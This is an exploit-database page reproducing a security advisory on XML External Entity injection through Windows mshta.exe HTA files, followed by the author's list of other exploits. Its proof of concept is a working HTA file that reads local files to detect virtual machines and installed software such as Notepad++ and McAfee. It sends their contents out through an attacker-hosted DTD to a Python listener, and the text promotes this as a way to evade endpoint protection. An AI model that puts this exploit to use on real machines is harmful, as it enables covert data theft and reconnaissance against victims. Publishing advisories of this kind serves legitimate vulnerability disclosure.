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"Microsoft Windows mshta.exe 2019 - XML External Entity Injection"

Author

Exploit author

hyp3rlinx

Platform

Exploit platform

xml

Release date

Exploit published date

2020-07-07

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# Exploit Title: Microsoft Windows mshta.exe 2019 - XML External Entity Injection
# Date: 2020-07-07
# Exploit Author: hyp3rlinx
# Vendor homepage: https://www.microsofft.com/
# CVE: N/A


[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-MSHTA-HTA-FILE-XML-EXTERNAL-ENTITY-INJECTION.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.microsoft.com


[Product]
Windows MSHTA.EXE .HTA File


An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more
scripting languages supported by Internet Explorer, such as VBScript or JScript. The HTML is used to generate the
user interface, and the scripting language is used for the program logic. An HTA executes without the constraints
of the internet browser security model; in fact, it executes as a "fully trusted" application.


[Vulnerability Type]
XML External Entity Injection


[Impact]
Information disclosure, Recon


[CVE Reference]
N/A


[Security Issue]
Windows mshta.exe allows processing of XML External Entitys, this can result in local data-theft and or program reconnaissance upon opening
specially crafted HTA files. From an attacker perspective, since we are not dependent on scripting languages like Javascript, VBScript or
WScript.Shell, we may have better chances at subverting endpoint protection systems as we are only using XML markup.

HTA exploits found online typically show code execution, with reliance on ActiveX Objects and scripting engines and hence are more
easily detected by security products. Many of these exploits also use payload obfuscation techniques for stealth. However, I found nothing
publicly documented that leverages XML injection targeting the mshta.exe HTA file-type.

Yea I know, no code execution. However, we get stealthy data theft with recon capabilities. Armed with this info, we can more accurately
target potential software vulnerabilities at a later date from info gathering a systems program installations. Usually, this type of recon
is seen in first-stage malware infections using the Windows CreateToolhelp32Snapshot API.

Therefore, since theres no documented HTA exploits using XXE attacks for this file type, I release the advisory.
Successfully tested on Windows 10 and Windows Servers 2016, 2019.


[Exploit/POC]
Multi program recon and check if running in a Virtual Machine all in a single HTA file, change IP accordingly.

1) "Doit.hta"

<?xml version="1.0"?>
<!-- VMware check -->
<xml>
<!DOCTYPE xxe4u [ 
<!ENTITY % file SYSTEM "C:\ProgramData\VMware\VMware Tools\manifest.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>

<!-- Notepad++ install check -->
<xml>
<!DOCTYPE xxe4u [ 
<!ENTITY % file SYSTEM "C:\Program Files (x86)\Notepad++\change.log">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>

<!-- McAfee AV install check -->
<xml>
<!DOCTYPE xxe4u [ 
<!ENTITY % file SYSTEM "C:\ProgramData\McAfee\MCLOGS\VSCoreVersionInfo.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>
<HTA:APPLICATION WINDOWSTATE="minimize" />


2) The "datatears.dtd" DTD file hosted on attackers server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;


3) Local Python v3 web-server listening on port 8000 to receive victims info.

python -m http.server 
 

[POC Video URL]
https://www.youtube.com/watch?v=XaTrBEu4Ghw


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
MSHTA .HTA files are classified untrusted, many threats already well known.
July 4, 2020 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Release DateTitleTypePlatformAuthor
2020-07-07"Microsoft Windows mshta.exe 2019 - XML External Entity Injection"remotexmlhyp3rlinx
2020-06-12"Avaya IP Office 11 - Password Disclosure"webappsmultiplehyp3rlinx
2020-06-10"WinGate 9.4.1.5998 - Insecure Folder Permissions"localwindowshyp3rlinx
2020-06-10"HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)"remotemultiplehyp3rlinx
2020-04-21"Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption"remotewindowshyp3rlinx
2020-04-06"Microsoft NET USE win10 - Insufficient Authentication Logic"localwindowshyp3rlinx
2020-02-12"HP System Event Utility - Local Privilege Escalation"localwindowshyp3rlinx
2020-01-21"NEOWISE CARBONFTP 1.4 - Weak Password Encryption"localwindowshyp3rlinx
2020-01-17"Trend Micro Maximum Security 2019 - Arbitrary Code Execution"localwindowshyp3rlinx
2020-01-17"Trend Micro Maximum Security 2019 - Privilege Escalation"localwindowshyp3rlinx
2020-01-06"Microsoft Outlook VCF cards - Denial of Service (PoC)"doswindowshyp3rlinx
2020-01-01"Microsoft Windows .Group File - Code Execution"localwindowshyp3rlinx
2019-12-03"Microsoft Windows Media Center 2002 - XML External Entity MotW Bypass"localxmlhyp3rlinx
2019-12-02"Max Secure Anti Virus Plus 19.0.4.020 - Insecure File Permissions"localwindowshyp3rlinx
2019-12-02"Visual Studio 2008 - XML External Entity Injection"localxmlhyp3rlinx
2019-12-02"Microsoft Excel 2016 1901 - XML External Entity Injection"localxmlhyp3rlinx
2019-11-13"ScanGuard Antivirus 2020 - Insecure Folder Permissions"localwindowshyp3rlinx
2019-10-21"Trend Micro Anti-Threat Toolkit 1.62.0.1218 - Remote Code Execution"localwindowshyp3rlinx
2019-09-06"Windows NTFS - Privileged File Access Enumeration"localwindowshyp3rlinx
2019-08-14"Windows PowerShell - Unsanitized Filename Command Execution"doswindowshyp3rlinx
2019-07-24"Trend Micro Deep Discovery Inspector IDS - Security Bypass"remotemultiplehyp3rlinx
2019-07-17"MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow"remotewindowshyp3rlinx
2019-07-16"Microsoft Compiled HTML Help / Uncompiled .chm File - XML External Entity Injection"doswindowshyp3rlinx
2019-06-17"HC10 HC.Server Service 10.14 - Remote Invalid Pointer Write"doswindowshyp3rlinx
2019-05-03"Windows PowerShell ISE - Remote Code Execution"localwindowshyp3rlinx
2019-04-12"Microsoft Internet Explorer 11 - XML External Entity Injection"localwindowshyp3rlinx
2019-03-13"Microsoft Windows - .reg File / Dialog Box Message Spoofing"doswindowshyp3rlinx
2019-01-23"Microsoft Windows CONTACT - HTML Injection / Remote Code Execution"localwindowshyp3rlinx
2019-01-17"Microsoft Windows CONTACT - Remote Code Execution"localwindowshyp3rlinx
2019-01-15"Microsoft Windows VCF - Remote Code Execution"localwindowshyp3rlinx
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48650/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.